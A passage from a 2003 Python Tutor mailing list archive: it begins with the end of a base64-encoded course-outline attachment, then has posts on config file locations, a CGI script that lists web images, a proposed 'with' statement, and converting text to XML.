AHQAbwBsACAASABpAGwAbAAgAG0AZQBsAHQAZABvAHcAbgAuACAAIABUAGkA
bQBlACwAIAAzADIALAAgADQAOAAtADUAMQAuAA0ACgANAAoAQgBvAG8AawBz
ACwAIABCAHIAbwBjAGgAdQByAGUAcwAgAGEAbgBkACAAQgBvAG8AawAgAEMA
aABhAHAAdABlAHIAcwANAAoADQAKAEMAbwBuAGUALAAgAEoALgBEAC4ALAAg
ACYAIABGAG8AcwB0AGUAcgAsACAAUwAuAEwALgAgACgAMQA5ADkAMwApAC4A
IAAgAEQAaQBzAHMAZQByAHQAYQB0AGkAbwBuAHMAIABhAG4AZAAgAHQAaABl
AHMAZQBzACAAZgByAG8AbQAgAHMAdABhAHIAdAAgAHQAbwAgAGYAaQBuAGkA
cwBoADoAIABQAHMAeQBjAGgAbwBsAG8AZwB5ACAAYQBuAGQAIAByAGUAbABh
AHQAZQBkACAAZgBpAGUAbABkAHMALgAgACAAVwBhAHMAaABpAG4AZwB0AG8A
bgAsACAARABDADoAIABBAG0AZQByAGkAYwBhAG4AIABQAHMAeQBjAGgAbwBs
AG8AZwBpAGMAYQBsACAAQQBzAHMAbwBjAGkAYQB0AGkAbwBuAC4ADQAKAA0A
CgBDAG8AdQByAHMAZQAgAE0AYQB0AGUAcgBpAGEAbABzAA0ACgANAAoAQQBu
AGQAcgBlAHcALAAgAEMALgAgACgAMQA5ADkANgApAC4AIAAgAFYAaQBlAHcA
cwAgAG8AZgAgAHMAYwBpAGUAbgBjAGUAIABbAEIAVABUAEgAMQAwADAAIABJ
AG4AdAByAG8AZAB1AGMAdABpAG8AbgAgAHQAbwAgAG4AdQByAHMAaQBuAGcA
IABhAG4AZAAgAG4AdQByAHMAaQBuAGcAIAB0AGgAZQBvAHIAeQAgAGMAbwB1
AHIAcwBlACAAYgBvAG8AawBsAGUAdABdAC4AIAAgAEMAaAByAGkAcwB0AGMA
aAB1AHIAYwBoACwAIABOAGUAdwAgAFoAZQBhAGwAYQBuAGQAOgAgAEYAYQBj
AHUAbAB0AHkAIABvAGYAIABIAGUAYQBsAHQAaAAgACYAIABTAGMAaQBlAG4A
YwBlACwAIABDAGgAcgBpAHMAdABjAGgAdQByAGMAaAAgAFAAbwBsAHkAdABl
AGMAaABuAGkAYwAgAEkAbgBzAHQAaQB0AHUAdABlACAAbwBmACAAVABlAGMA
aABuAG8AbABvAGcAeQAuAA0ACgANAAoAUwBwAGUAYwBpAGYAaQBjACAAZABv
AGMAdQBtAGUAbgB0AHMAIABvAG4AIABhACAAVwBlAGIAIABzAGkAdABlADoA
DQAKAA0ACgBhACkACQBJAG4AZABpAHYAaQBkAHUAYQBsACAAZABvAGMAdQBt
AGUAbgB0ADoADQAKAA0ACgBCAG8AdAB0AGEAcwBpAG4AaQAsACAARwAuACAA
KAAyADAAMAAxACkALgAgACAAVwBlAGwAYwBvAG0AZQAgAHQAbwAgAGYAbABh
AGcAcwAgAG8AZgAgAHQAaABlACAAdwBvAHIAbABkAC4AIAAgAFIAZQB0AHIA
aQBlAHYAZQBkACAASgB1AG4AZQAgADEAOAAsACAAMgAwADAAMgAsACAAZgBy
AG8AbQAgAGgAdAB0AHAAOgAvAC8AdwB3AHcALgBmAG8AdAB3AC4AYwBhAC8A
ZgBsAGEAZwBzAA0ACgANAAoAIiAJAEkAZgAgAHkAbwB1ACAAYwBhAG4AbgBv
AHQAIABmAGkAbgBkACAAYQBuACAAYQB1AHQAaABvAHIALAAgAHUAcwBlACAA
dABoAGUAIABjAG8AcgBwAG8AcgBhAHQAZQAgAGEAdQB0AGgAbwByACAAaQBm
ACAAbwBuAGUAIABpAHMAIABhAHYAYQBpAGwAYQBiAGwAZQAuAA0ACgANAAoA
VQBuAGkAdgBlAHIAcwBpAHQAeQAgAG8AZgAgAFQAbwByAG8AbgB0AG8ALgAg
ACAAKAAyADAAMAAwACwAIABNAGEAcgBjAGgAIAAxADQAKQAuACAAIABBAHMA
cwBpAHMAdABpAHYAZQAgAFQAZQBjAGgAbgBvAGwAbwBnAHkAIABPAHUAdABj
AG8AbQBlAHMAIABSAGUAdAByAGkAZQB2AGUAZAAgAEoAdQBsAHkAIAAxADkA
LAAgADIAMAAwADEAIABmAHIAbwBtACAAaAB0AHQAcAA6AC8ALwB3AHcAdwAu
AHUAdABvAHIAbwBuAHQAbwAuAGMAYQAvAGEAdAByAGMALwByAGUAZgBlAHIA
ZQBuAGMAZQAvAGEAdABvAHUAdABjAG8AbQBlAHMAGSBpAG4AZABlAHgALgBo
AHQAbQBsAA0ACgANAAoAOQAJAEMATwBVAFIAUwBFACAARABFAFMAQwBSAEkA
UABUAE8AUgANAAoADQAKAEMAbwB1AHIAcwBlACAAVABpAHQAbABlADoAIAAg
AEEAZAB2AGEAbgBjAGUAZAAgAFAAcgBvAGcAcgBhAG0AbQBpAG4AZwANAAoA
QwBvAHUAcgBzAGUAIABDAG8AZABlADoACQBCAEMAUABSADMAMAAxAAkAQwBv
AG4AdABhAGMAdAAgAEgAbwB1AHIAcwAJADUANgANAAoAQwByAGUAZABpAHQA
cwAJADEANQAJAE8AdABoAGUAcgAgAEQAaQByAGUAYwB0AGUAZAAgAEgAbwB1
AHIAcwAJADgADQAKAEMAbwB1AHIAcwBlACAATABlAHYAZQBsAAkARQBRAEwA
IAA3AAkAVABvAHQAYQBsAAkANgA0AA0ACgBVAG4AaQB0ACAAUwB0AGEAbgBk
AGEAcgBkAAkALQAJAFMAZQBsAGYAIABEAGkAcgBlAGMAdABlAGQAIABIAG8A
dQByAHMACQA4ADYADQAKAAkAVABvAHQAYQBsAAkAMQA1ADAADQAKAAkADQAK
AFAAcgBlAC0AcgBlAHEAdQBpAHMAaQB0AGUAcwAJADMAMAAgAGMAcgBlAGQA
aQB0AHMAIABvAGYAIABsAGUAdgBlAGwAIAA2ACAAcAByAG8AZwByAGEAbQBt
AGkAbgBnACAAYwBvAHUAcgBzAGUAcwAgAGkAbgBjAGwAdQBkAGkAbgBnACAA
QgBDAFAAUgAyADMAMAAgACgAbwByACAAQgBDAFAAUgAyADAAMQAgAHAAcgBp
AG8AcgAgAHQAbwAgADIAMAAwADIAKQAgAG8AcgAgADMAMAAgAGMAcgBlAGQA
aQB0AHMAIABvAGYAIABwAHIAbwBnAHIAYQBtAG0AaQBuAGcAIABpAG4AYwBs
AHUAZABpAG4AZwAgAGEAdAAgAGwAZQBhAHMAdAAgADEANQAgAGEAdAAgAGwA
ZQB2AGUAbAAgADcALgANAAoAQwBvAC0AcgBlAHEAdQBpAHMAaQB0AGUAcwAJ
AC0ADQAKAA0ACgBBAGkAbQANAAoADQAKADEALgAJAFQAbwAgAGcAaQB2AGUA
IAB0AGgAZQAgAHMAdAB1AGQAZQBuAHQAcwAgAGEAbgAgAHUAbgBkAGUAcgBz
AHQAYQBuAGQAaQBuAGcAIABvAGYAIABwAHIAbwBnAHIAYQBtAG0AaQBuAGcA
IABmAG8AcgAgAHIAZQB1AHMAZQAuAA0ACgAyAC4ACQBUAG8AIABlAG4AcwB1
AHIAZQAgAHMAdAB1AGQAZQBuAHQAcwAgAGgAYQB2AGUAIAB0AGgAZQAgAGsA
bgBvAHcAbABlAGQAZwBlACAAYQBuAGQAIABlAHgAcABlAHIAaQBlAG4AYwBl
ACAAdABvACAAZQBmAGYAZQBjAHQAaQB2AGUAbAB5ACAAbABlAGEAcgBuACAA
YQAgAG4AZQB3ACAAcAByAG8AZwByAGEAbQBtAGkAbgBnACAAbABhAG4AZwB1
AGEAZwBlAC4ADQAKADMALgAJAFQAbwAgAGUAeABwAGwAbwByAGUAIABwAHIA
YQBnAG0AYQB0AGkAYwAgAGkAcwBzAHUAZQBzACAAaQBuACAAdABoAGUAIABj
AHIAYQBmAHQAIABvAGYAIABwAHIAbwBnAHIAYQBtAG0AaQBuAGcALgANAAoA
NAAuAAkAVABvACAAcAByAG8AdgBpAGQAZQAgAGUAeABwAGUAcgBpAGUAbgBj
AGUAIAB3AGkAdABoACAAcwBjAHIAaQBwAHQAaQBuAGcAIABsAGEAbgBnAHUA
YQBnAGUAcwAgAGEAbgBkACAAbwB0AGgAZQByACAAdABlAGMAaABuAGkAcQB1
AGUAcwAgAGYAbwByACAAaQBuAHQAZQBnAHIAYQB0AGkAbgBnACAAcwBvAGYA
dAB3AGEAcgBlACAAYwBvAG0AcABvAG4AZQBuAHQAcwAuAA0ACgA1AC4ACQBU
AG8AIABlAG4AcwB1AHIAZQAgAHQAaABhAHQAIABzAHQAdQBkAGUAbgB0AHMA
IABoAGEAdgBlACAAdABoAGUAIABrAG4AbwB3AGwAZQBkAGcAZQAgAGEAbgBk
ACAAZQB4AHAAZQByAGkAZQBuAGMAZQAgAHQAbwAgAGMAaABvAG8AcwBlACAA
dABoAGUAIABhAHAAcAByAG8AcAByAGkAYQB0AGUAIABtAGkAeAAgAGYAbwBy
ACAAYQAgAHAAcgBvAGIAbABlAG0ALAAgAGEAbgBkACAAdABoAGUAbgAgAGQA
ZQB2AGUAbABvAHAAIAB0AGgAZQAgAHMAbwBsAHUAdABpAG8AbgAsACAAaQBt
AHAAbABlAG0AZQBuAHQAIABpAHQALAAgAGEAbgBkACAAZQB2AGEAbAB1AGEA
dABlACAAaQB0AA0ACgANAAoATABlAGEAcgBuAGkAbgBnACAATwB1AHQAYwBv
AG0AZQBzAA0ACgBPAG4AIABjAG8AbQBwAGwAZQB0AGkAbwBuACAAdABoAGUA
IABzAHQAdQBkAGUAbgB0ACAAdwBpAGwAbAAgAGIAZQAgAGEAYgBsAGUAIAB0
AG8AOgANAAoADQAKADEALgAJAEMAaABvAG8AcwBlACAAYQBuAGQAIABpAG0A
cABsAGUAbQBlAG4AdAAgAGEAcABwAHIAbwBwAHIAaQBhAHQAZQAgAGQAZQBz
AGkAZwBuACAAcABhAHQAdABlAHIAbgBzAC4ADQAKADIALgAJAEwAZQBhAHIA
bgAgAGEAbgBkACAAYQBwAHAAbAB5ACAAYQAgAG4AZQB3ACAAcAByAG8AZwBy
AGEAbQBtAGkAbgBnACAAbABhAG4AZwB1AGEAZwBlAC4ADQAKADMALgAJAEEA
cABwAHIAbwBwAHIAaQBhAHQAZQBsAHkAIABpAGQAZQBuAHQAaQBmAHkAIABh
AG4AZAAgAGEAcABwAGwAeQAgAHQAZQBjAGgAbgBpAHEAdQBlAHMAIABmAG8A
cgAgAGkAbgB0AGUAZwByAGEAdABpAG4AZwAgAHMAbwBmAHQAdwBhAHIAZQAg
AGMAbwBtAHAAbwBuAGUAbgB0AHMAIABhAG4AZAAgAGYAcgBhAG0AZQB3AG8A
cgBrAHMALgANAAoANAAuAAkARQB2AGEAbAB1AGEAdABlACAAdABoAGUAIABl
AGYAZgBlAGMAdABpAHYAZQBuAGUAcwBzACAAbwBmACAAdwBvAHIAawAsACAA
YQBuAGQAIABtAGEAawBlACAAcgBlAGMAbwBtAG0AZQBuAGQAYQB0AGkAbwBu
AHMAIABhAGMAYwBvAHIAZABpAG4AZwBsAHkALgANAAoADQAKAEEAcwBzAGUA
cwBzAG0AZQBuAHQAIABDAHIAaQB0AGUAcgBpAGEADQAKAEEAcwBzAGUAcwBz
AG0AZQBuAHQACQBBAHMAcwBlAHMAcwBtAGUAbgB0ACAAVAB5AHAAZQAgACYA
IABDAG8AbgB0AGUAeAB0AAkAUABhAHMAcwAgAEMAcgBpAHQAZQByAGkAYQAJ
AFcAZQBpAGcAaAB0AGkAbgBnAAkATwB1AHQAYwBvAG0AZQBzACAAQQBzAHMA
ZQBzAHMAZQBkAA0ACgAxAAkASQBuAHQAZQByAHAAcgBlAHQAZQByAAkACQAx
ADAAJQAJADIADQAKADIACQBHAE8ARgAgAFAAYQB0AHQAZQByAG4ACQAJADEA
MAAlAAkAMQANAAoAMwAJAFAAcgBvAGcAcgBhAG0AbQBpAG4AZwAgAEEAcwBz
AGkAZwBuAG0AZQBuAHQACQAJADIAMAAlAAkAMwAsADQADQAKADQACQBMAGUA
ZwBhAGMAeQAgAFMAeQBzAHQAZQBtAAkACQAxADAAJQAJADIALAAzACwANAAN
AAoANQAJAEUAeABhAG0ACQA1ADAAJQAJADUAMAAlAAkAMQAtADQADQAKAA0A
CgBMAGUAYQByAG4AaQBuAGcAIABhAG4AZAAgAFQAZQBhAGMAaABpAG4AZwAg
AFMAdAByAGEAdABlAGcAaQBlAHMADQAKAA0ACgBMAGUAYwB0AHUAcgBlAHMA
LAAgAFAAbwB3AGUAcgBQAG8AaQBuAHQAIABwAHIAZQBzAGUAbgB0AGEAdABp
AG8AbgBzACwAIABwAHIAYQBjAHQAaQBjAGEAbAAgAHcAbwByAGsAcwBoAG8A
cAAgAGwAYQBiAG8AcgBhAHQAbwByAGkAZQBzACwAIABhAG4AZAAgAGkAbgBk
AGkAdgBpAGQAdQBhAGwAIABhAHMAcwBpAHMAdABhAG4AYwBlACAAYQBzACAA
cgBlAHEAdQBpAHIAZQBkACAAaQBuACAAdABoAGUAIAB3AG8AcgBrAHMAaABv
AHAAcwANAAoADQAKAFIAZQBxAHUAaQByAGUAZAAgAFQAZQB4AHQAcwAgAGEA
bgBkACAAUgBlAHMAbwB1AHIAYwBlAHMADQAKAFQAQgBBAA0ACgANAAoAQwBv
AG4AdABlAG4AdAANAAoADQAKACIgCQBBACAAcwBjAHIAaQBwAHQAaQBuAGcA
IABsAGEAbgBnAHUAYQBnAGUAIABzAHUAYwBoACAAYQBzACAAUABlAHIAbAAs
ACAAUAB5AHQAaABvAG4ALAAgAFAASABQACAAbwByACAAUgB1AGIAeQAuAA0A
CgAiIAkARwBPAEYAIABEAGUAcwBpAGcAbgAgAFAAYQB0AHQAZQByAG4AcwAg
AA0ACgAiIAkAQwBvAG0AcABvAG4AZQBuAHQAIABtAG8AZABlAGwAcwANAAoA
IAANAAoAMQAwAAkAQwBPAFUAUgBTAEUAIABEAEkAQQBSAFkADQAKAA0ACgBX
AGUAZQBrAAkAQwBvAG0AbQBlAG4AYwBpAG4AZwAJAFQAbwBwAGkAYwANAAoA
MQAJADEANwAgAEYAZQBiACAAMgAwADAAMwAJAEkAbgB0AHIAbwAsACAAbwBw
AGUAcgBhAHQAaQBuAGcAIAAgAFAAeQB0AGgAbwBuACwAIABQAHkAdABoAG8A
bgAgAHMAeQBuAHQAYQB4AA0ACgAyAAkAMgA0ACAARgBlAGIAIAAyADAAMAAz
AAkAQgBlAHQAdABlAHIAIABpAHMAIABXAG8AcgBzAGUALAAgAFAAeQB0AGgA
bwBuACAAZwByAGEAcABoAGkAYwBzACAAaQBuAHQAZQByAHAAcgBlAHQAZQBy
ACwAIABQAHkAdABoAG8AbgAgAFMAeQBuAHQAYQB4AA0ACgAzAAkAMwAgAE0A
YQByACAAMgAwADAAMwAJAFAAYQBpAHIAIABQAHIAbwBnAHIAYQBtAG0AaQBu
AGcAIAANAAoAUgBvAGIAIABPAGwAaQB2AGUAcgA6ACAATABlAGcAYQBjAHkA
IABzAHkAcwB0AGUAbQAgAHIAZQAtAGUAbgBnAGkAbgBlAGUAcgBpAG4AZwAN
AAoANAAJADEAMAAgAE0AYQByACAAMgAwADAAMwAJAEMAcgBlAGEAdABpAG8A
bgAgAHAAYQB0AHQAZQByAG4AcwAgAGkAbgAgAFAAeQB0AGgAbwBuAA0ACgA1
AAkAMQA3ACAATQBhAHIAIAAyADAAMAAzAAkAUgBlAGYAYQBjAHQAbwByAGkA
bgBnACAADQAKADYACQAyADQAIABNAGEAcgAgADIAMAAwADMACQBSAGUAZgBh
AGMAdABvAHIAaQBuAGcAIAANAAoANwAJADMAMQAgAE0AYQByACAAMgAwADAA
MwAJAFIAZQBmAGEAYwB0AG8AcgBpAG4AZwANAAoAOAAJADcAIABBAHAAcgAg
ADIAMAAwADMACQBSAGUAZgBhAGMAdABvAHIAaQBuAGcADQAKAE0ASQBEACAA
UwBFAE0ARQBTAFQARQBSACAAQgBSAEUAQQBLACAAMQA0ACAAQQBQAFIASQBM
ACAAEyAgADQAIABNAEEAWQAgADIAMAAwADMAIAAoADMAIAB3AGUAZQBrAHMA
KQANAAoAMQAJADUAIABNAGEAeQAgADIAMAAwADMACQBHAE8ARgAgAFAAYQB0
AHQAZQByAG4AcwA6ACAAUwB0AHIAYQB0AGUAZwB5ACwAIABEAGUAYwBvAHIA
YQB0AG8AcgAsACAAQwBvAG0AcABvAHMAaQB0AGUALAAgAFQAZQBtAHAAbABh
AHQAZQAgAG0AZQB0AGgAbwBkAA0ACgAyAAkAMQAyACAATQBhAHkAIAAyADAA
MAAzAAkARwBPAEYAIABQAGEAdAB0AGUAcgBuAHMADQAKAFIAbwBiACAATwBs
AGkAdgBlAHIAOgAgAEwAZQBnAGEAYwB5ACAAcwB5AHMAdABlAG0AIAByAGUA
LQBlAG4AZwBpAG4AZQBlAHIAaQBuAGcADQAKADMACQAxADkAIABNAGEAeQAg
ADIAMAAwADMACQBHAE8ARgAgAFAAYQB0AHQAZQByAG4AcwA6ACAAUAByAG8A
eAB5ACAAQQBkAGEAcAB0AG8AcgAgAEIAcgBpAGQAZwBlACAATQBlAGQAaQBh
AHQAbwByAA0ACgA0AAkAMgA2ACAATQBhAHkAIAAyADAAMAAzAAkARwBPAEYA
IABQAGEAdAB0AGUAcgBuAHMAOgAgAE8AYgBzAGUAcgB2AGUAcgAsACAAQwBo
AGEAaQBuACAAbwBmACAAUgBlAHMAcABvAG4AcwBpAGIAaQBsAGkAdAB5ACwA
IABNAGUAbQBlAG4AdABvACwAIABDAG8AbQBtAGEAbgBkAA0ACgA1AAkAMgAg
AEoAdQBuACAAMgAwADAAMwAJAEcATwBGACAAUABhAHQAdABlAHIAbgBzADoA
IABQAHIAbwB0AG8AdAB5AHAAZQAsACAAUwB0AGEAdABlACwAIABWAGkAcwBp
AHQAbwByACwAIABGAGwAeQB3AGUAaQBnAGgAdAAsACAASQBuAHQAZQByAHAA
cgBlAHQAZQByACwAIABGAGEAYwBhAGQAZQANAAoANgAJADkAIABKAHUAbgAg
ADIAMAAwADMACQBTAHQAdQBkAHkAIABXAGUAZQBrAA0ACgA3AAkAMQA2ACAA
SgB1AG4AIAAyADAAMAAzAAkAUwB0AHUAZAB5ACAAVwBlAGUAawANAAoAOAAJ
ADIAMwAgAEoAdQBuACAAMgAwADAAMwAJAEUAeABhAG0AIABXAGUAZQBrAA0A
CgANAAoADQAKACAADQAKADEAMQAJAEEAUwBTAEUAUwBTAE0ARQBOAFQAUwAN
AAoA


------=_NextPart_000_42e5_6fe4_23b0--


From shalehperry@attbi.com  Mon Jun  9 21:18:06 2003
From: shalehperry@attbi.com (Sean 'Shaleh' Perry)
Date: Mon Jun  9 20:18:06 2003
Subject: [Tutor] where to put configuration files
In-Reply-To: <3EE4B285.507@netzero.net>
References: <20030606230552.GV1597@localhost.localdomain> <200306081155.00547.shalehperry@attbi.com> <3EE4B285.507@netzero.net>
Message-ID: <200306091716.46332.shalehperry@attbi.com>

On Monday 09 June 2003 09:15, Kirk Bailey wrote:
> > since you referred to /etc I assumed (yes I know ...) you were only
> > referring to a Unix like operating system.
>
> Yep. I am waiting to hear that Linux is as dependable and secure as my
> trusted FreeBSD, but WITHER is VASTLY preferable to the enslavement goods
> of the dread lord of Redmond...
>

oh please, let's all leave the OS bashing at the door. (-:

> > If you truly want to be portable here we go .....
>
> ohboyohboyohboy...
>
> > a) easy case, store all of the program in one base dir as suggested. 
> > Expected behavior on Windows and I believe OS X.
>
> okfine. UM, we put the list's files in with the scripts?!?
>

generally in a subdir, but yeah.

> > Therefore as Kirk mentions the best situation is to have the location of
> > th config defined as a variable and allow the installation procedure to
> > indicate where the config ends up.
>
> Ah, BUT:
> how does it find it?
> To find it, one must tell it where it is.
> To do this with a config file is a bootstrap problem.
> To do this by hacking the script is a complexity issue for less than
> totally savvy installers.
>
> To do this  by asuming it is RIGHT HERE WITH ME is a solution that is
> simple, reliable, and offers no additional burden to the novice.
>
> It's just politically incorrect.
>

Look at just about any piece of open source software.  They ship with a 
program called 'configure'.  You pass it all of this information or it uses 
defaults.  Been the way Unix people have solved this problem for at least the 
last 10 years.

It can be done simply.



From idiot1@netzero.net  Mon Jun  9 21:21:02 2003
From: idiot1@netzero.net (Kirk Bailey)
Date: Mon Jun  9 20:21:02 2003
Subject: [Tutor] web tool
Message-ID: <3EE52439.4010404@netzero.net>

Sometimes it is good to see what images you have stockpiled on a web server. I wrote a 
script to display them for you. You can see it's results at
http://www.listville.net/cgi-bin/images.py
and here is the entire script. Note that you must modify it if you have a seperate 
images directory off of the web directory, a reccomended procedure.

ns# list images.py
Listing of file images.py in directory:/www/www.listville.net/cgi-bin

#!/usr/local/bin/python
import glob, os
os.chdir('..')  # assuming this is is in the web cgi-bin
#               # we go up the tree a level to the web directory.
print 'Content-type: text/html'
print
path=os.getcwd()
print 'path='+path+'<P>'
print "<head><title>IMAGES IN WEB DIRECTORY</title></head>"
print '<body bgcolor="A0A0A0"><P>'
print '<CENTER><H1>IMAGES IN THIS WEB DIRECTORY</H1><p>'
images=glob.glob('*.gif')
images=images+glob.glob('*.jpg')
images=images+glob.glob('*.png')
for item in images:     #this gets tricky.
         print item,'<br><img src="../'+item+'"><P>'     #the browser thinks it is
print '<P><br></body>\n</html>'                         #still talking to the cgi-bin!
#
# that's no good, if the images are in the web directory.
# if the images are in the /images directory, you need to change the chdir
# command to get to it, and change the path declaration to
# '../images/' in the print statement.
# But done this way, you do not have to hack the program (much) and it is a useful
# image inventory tool.

ns#

NOTE that the receiving browser thinks the /cgi-bin/ is the current directory, and sends 
in the image requests as
www.yourdomain.foo/cgi-bin/(imagename)
UNLESS
you tell it differently,. You COUKD declare an absolute patn, such as
http://www.listville.net/swirlies.jpg
OR
use relative addressing, which is what I did, and say
"../(imagename)
OR
"../images/(imagename)
If they live in the images dir. IF they do, you have to modify the chdir command:
os.chdir('../images')
ought to do it.

A silly little python tool for the webmaster.



-- 

end

Cheers!
         Kirk D Bailey
                               think
http://www.howlermonkey.net/ +-----+ http://www.tinylist.org/
http://www.listville.net/    | BOX | http://www.sacredelectron.org/
                              +-----+
"Thou art free"-ERIS          think    'Got a light?'-Promethieus

.



From shalehperry@attbi.com  Mon Jun  9 21:22:04 2003
From: shalehperry@attbi.com (Sean 'Shaleh' Perry)
Date: Mon Jun  9 20:22:04 2003
Subject: [Tutor] With
In-Reply-To: <3EE4B9B7.60400@cso.atmel.com>
References: <20030609160006.26187.25845.Mailman@mail.python.org> <3EE4B9B7.60400@cso.atmel.com>
Message-ID: <200306091721.17267.shalehperry@attbi.com>

> >and so on...
> >
> >What exactly would a 'with' do that an 'it' doesn't?
>
> To me it'd be easier to follow and less noisy. YMMV.
>

To those of us who learned it early in our programmer career 'with' just seems 
so much more elegant than assigning to a short named variable.

In C++ I can do:

blah* i = this_long_thing;
i->foo = 2;
i->bar = 'bat';

in Python I can do (as mentioned earlier):

i = this_long_thing
i.foo = 2
i.bar = 'bat'

but it just feels like a hack when I learned the admittedly syntactic sacrine 
of:

with this_long_thing
do
    foo = 2;
    bar = 'bat';
done

I personally used this in Borland's Delphi for GUI code all of the time.  It 
is quite readable when people are used to the idiom.



From dyoo@hkn.eecs.berkeley.edu  Tue Jun 10 00:15:01 2003
From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo)
Date: Mon Jun  9 23:15:01 2003
Subject: [Tutor] (no subject)  [Python feature requests]
In-Reply-To: <5.2.1.1.0.20030609095105.04c50930@66.28.54.253>
Message-ID: <Pine.LNX.4.44.0306091908200.24666-100000@hkn.eecs.berkeley.edu>

> > > <soapbox> perhaps this is a good place to mention (again) the
> > > desirability of a "with" statement in Python.</soapbox>
> >
> >How would a with statement help in Python? I've seen this request often
> >for C++ where it could be useful, but with Python's reference based
> >naming I've never felt a need for a with in Python?
> >
> >I usually just use 'it' as a handy shortcut to any long chains:
> >
> >it = foo.bar.baz.whatever
> >it.item = 42
> >it.another = 27
> >it.save()
> >
> >and so on...
> >
> >What exactly would a 'with' do that an 'it' doesn't?
>
> Having programmed in Pascal, Visual FoxPro and Visual Basic (all of
> which provide "with") I am accustomed to using with. So for me
>
> with foo.bar.baz.whatever:
>      .item = 42
>      .another = 27
>      .save()
>
> is more natural, more efficient, less error prone, more readable and
> more maintainable.

Hi Bob,

It does add some complication to the parser/lexer in Python, but that's
probably a minor technical point.  What complicates things is that the
introduction of 'with' will allow us to do things in two different ways,
and it's not quite obvious which way is better.  Let's take a look at both
of them again:


> >it = foo.bar.baz.whatever
> >it.item = 42
> >it.another = 27
> >it.save()

vs:

> with foo.bar.baz.whatever:
>      .item = 42
>      .another = 27
>      .save()


Since the first way, using a temporary variable, is already well
established in the language, the "underdog" 'with' needs to prove itself.
Does 'with' provide a compelling advantage over using a temporary
variable?  I'm not sure about this, and I'm definitely sure you'll get
resistance principally because the proposed fix is a syntax change.


> And what would it cost to add this feature to Python?

Very debatable.  Something probably best left debated on comp.lang.python.
*grin*


But whenever we think about introducing any new language feature, we
really do have to abandon the idea that this won't affect anyone else.
Is it likely that anyone else has used 'with' as a variable name?  Will
people have to modify their tools (like pychecker) to deal with this new
feature?  Does it complicate any rules that anyone else out there has been
using to pull out variable names?

Another important point: is 'with' nestable?  That is, when we run into
something like this:

###
with foo.bar.baz.whatever:
     .item = Megaboz()
     with .item:
         .another = 27
         .save()
###

what's the chance that someone reading this will get confused?  Will it
matter if Megaboz doesn't have a .save() method?


I'm trying to press the point: it's not immediately trivial to add a
"trivial" language feature.  It's not convincing enough to say, "Language
X has this feature; we should put it in Python.": it has to fit in with
the existing framework well enough so that it doesn't cause pandemonium.


That being said: Zope does use a "WITH" control feature in their DTML
templating language.  Because 'with' does have precedence with the Zope
folks; the Python core implementors know about it.  So it might not so far
fetched for Python to have 'with' in the future if it proves compelling.


Ultimately, if you want to get 'with' into the language, your best bet is
to propose it on comp.lang.python and write a PEP for it:

    http://www.python.org/peps/

By trial by fire, it'll either survive, or die.  It can't hurt (much) to
try.  At the most, you'll get a lot of heated responses.  *grin*


> One of my frustrations with proposing language enhancements are
> arguments from others that the proposal is not necessary.  Well neither
> is the for statement.  Everything it does can be implemented with the
> while statement.

We don't need loops either: everything can be done with function calls.
*grin*


> Yet someone deemed that a for statement "is more natural, more efficient
> and more readable."

Very true.  That someone (Guido van Rossum) is the one who decides what
becomes a part of the language or not.  And a language is spoken between
communities, so to get 'with' into Python, the feature has to be so good
that the community endorses it.  It's a hard task.


Talk to you later!



From phthenry@earthlink.net  Tue Jun 10 00:21:01 2003
From: phthenry@earthlink.net (Paul Tremblay)
Date: Mon Jun  9 23:21:01 2003
Subject: [Tutor] where to put configuration files
In-Reply-To: <3EE4C938.4020802@ccvcorp.com>
References: <20030606230552.GV1597@localhost.localdomain> <3EE4C938.4020802@ccvcorp.com>
Message-ID: <20030610032132.GC21763@localhost.localdomain>

On Mon, Jun 09, 2003 at 10:51:52AM -0700, Jeff Shannon wrote:
 
> 
> The wxWindows/wxPython cross-platform GUI library has a wxConfig class 
> which transparently handles storage in the appropriate place.  The 
> Python standard library has a ConfigParser module to assist in managing 
> configuration files, but it looks to have a lot less cross-platform 
> transparency than wxConfig (and doesn't look like it handles registry 
> information at all).  Still, you may want to investigate ConfigParser, 
> it might simplify your maintenance tasks.  (wxConfig will only simplify 
> things if you're already using the wxPython library.)  

Yes, I think I will have a look.

> 
> In general, I don't think you can do this safely cross-platform without 
> doing a check of what platform you're running on, and using a different 
> configuration back-end based on that.  However, if you're fairly 
> confident that your script will only be running on Unix, you're probably 
> fairly safe trying to write your config file somewhere into /etc 
> (probably in an application-specific subdirectory, i.e. 
> /etc/myapp/myapp.cfg).  Depending on the nature of the script, it might 
> also be a good idea to allow it to fall back on a config file in the 
> application's install directory (which might allow it to be installed in 
> the home directory of someone without root privelidges).  One way to 
> determine the install directory is to look at where your modules are 
> being imported from -- IIRC, modules have a __file__ attribute that will 
> give the path and filename that the module was loaded from.  It should 
> be fairly easy to extract the path and use that as a location for a 
> config file.

Sorry to be dense, but could you give me an example of using the
__file__ attribute? This would really sovle a lot of the problem. Most
applications (at least unix), have a .config file in the home directory.
(For example, .vimrc for vim.) 

The user will actually want to have easy access to the configuration
file. The directory /etc is for scary things like sendmail! 

Thanks

Paul

-- 

************************
*Paul Tremblay         *
*phthenry@earthlink.net*
************************


From phthenry@earthlink.net  Tue Jun 10 00:34:02 2003
From: phthenry@earthlink.net (Paul Tremblay)
Date: Mon Jun  9 23:34:02 2003
Subject: [Tutor] text to xml
In-Reply-To: <Law15-F96r45GHEer270002079c@hotmail.com>
References: <Law15-F96r45GHEer270002079c@hotmail.com>
Message-ID: <20030610033510.GD21763@localhost.localdomain>

On Tue, Jun 10, 2003 at 11:41:08AM +1200, Tom Brownlee wrote:
> 
> hello there,
> 
> ive posted before about parsing a text file (a tertiary course outline) and 
> having a output file of the course outline in xml format.

Well, I am *very* interested in doing just this myself. I had written a
pretty involved parser (several different modules) before my hard drive
went haywire on me, and I lost a week of very intense work.

For now, I use the docutils utilities to convert my text to XML. I have
just written a module to extend the extensibility of docutils, so that
it can handle nested inline markup.

You may want to have a look at docutils. It allows for very coplex
markup. (http://docutils.sf.net/docutils-snapshot.tgz)
 

The downside of doing this is that you will have to write an xslt style
sheet to change the XML that docutils outputs to the XML you want. The
advantage is you will use a powerful tool alrady developed, that allows
to to extend it as you want to.

Hope this helps

Paul

> 
> ive gone away and come up with the following python code, but it seems to 
> lack something, and im not to sure what it is.
> 
> ive attached my code with the course outline for you (people) to play with.
> 
> what i have to do is convert all major headings (uppercase) and 
> sub-headings into xml tags and leave the rest of the text as is.
> 
> WHAT AM I MISSING?????  to me it seemed feasible to work but it doesnt 
> quite get there.
> 
> thankyou for your help
> 
> tom brownlee
> 
> _________________________________________________________________
> Download MSN Messenger @  http://messenger.xtramsn.co.nz   - talk to family 
